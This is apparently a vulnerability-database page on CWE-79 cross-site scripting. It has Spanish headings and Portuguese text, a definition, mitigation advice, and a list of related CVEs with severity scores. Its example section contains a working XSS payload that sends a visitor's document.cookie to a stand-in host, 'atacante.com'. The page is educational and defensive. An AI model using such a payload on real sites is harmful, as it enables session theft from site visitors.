Fallos del tipo CWE-79

29.613 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-7835HIGHReflected XSS in Exnet Informatics Software's Ferry Reservation SystemEPSS 0.4%CVE-2024-34467MEDIUMThinkPHP 8.0.3 allows remote attackers to exploit XSS due to inadequate filtering of function argument values in think_exception.tpl.EPSS 0.4%CVE-2017-20193MEDIUMProduct Vendors <= 2.0.35 - Reflected Cross Site ScriptingEPSS 0.4%CVE-2023-31803MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the resource sequencEPSS 0.4%CVE-2025-49130MEDIUMLaravel Translation Manager Vulnerable to Stored Cross-site ScriptingEPSS 0.4%CVE-2023-31804MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the course category EPSS 0.4%CVE-2025-55522MEDIUMCross-site scripting (XSS) vulnerability in the component /common/reports of Akaunting v3.1.18 allows attackers to execute arbitrary web scrEPSS 0.4%CVE-2024-12846MEDIUMEmlog Pro link.php cross site scriptingEPSS 0.4%CVE-2025-31483MEDIUMStored XSS in Miniflux Media Proxy due to improper Content-Security-Policy configurationEPSS 0.4%CVE-2023-31802MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skype and linediEPSS 0.4%CVE-2024-22491MEDIUMA Stored Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the post/save content parameteEPSS 0.4%CVE-2022-23466MEDIUMDOM-based cross-site scripting (XSS) in teler dashboardEPSS 0.4%CVE-2024-7873CRITICALStored XSS in Veribilim Software's Veribase Order ManagementEPSS 0.4%CVE-2024-4776HIGHA file dialog shown while in full-screen mode could have resulted in the window remaining disabled. This vulnerability affects Firefox < 126EPSS 0.4%CVE-2026-1721MEDIUMReflected Cross-Site Scripting (XSS) vulnerability in AI Playground siteEPSS 0.4%CVE-2026-87995HIGHOpen WebUI: Same-origin XSS to account takeover via terminal port-preview iframe hardcoding allow-same-originEPSS 0.4%CVE-2024-47186MEDIUMFilament has unvalidated ColorColumn and ColorEntry values that can be used for Cross-site ScriptingEPSS 0.4%CVE-2024-55268MEDIUMA Reflected Cross Site Scripting (XSS) vulnerability was found in /covidtms/registered-user-testing.php in PHPGurukul COVID 19 Testing ManagEPSS 0.4%CVE-2024-35582MEDIUMA cross-site scripting (XSS) vulnerability in Sourcecodester Laboratory Management System v1.0 allows attackers to execute arbitrary web scrEPSS 0.4%CVE-2021-47843MEDIUMTagstoo 2.0.1 - Stored XSS to RCEEPSS 0.4%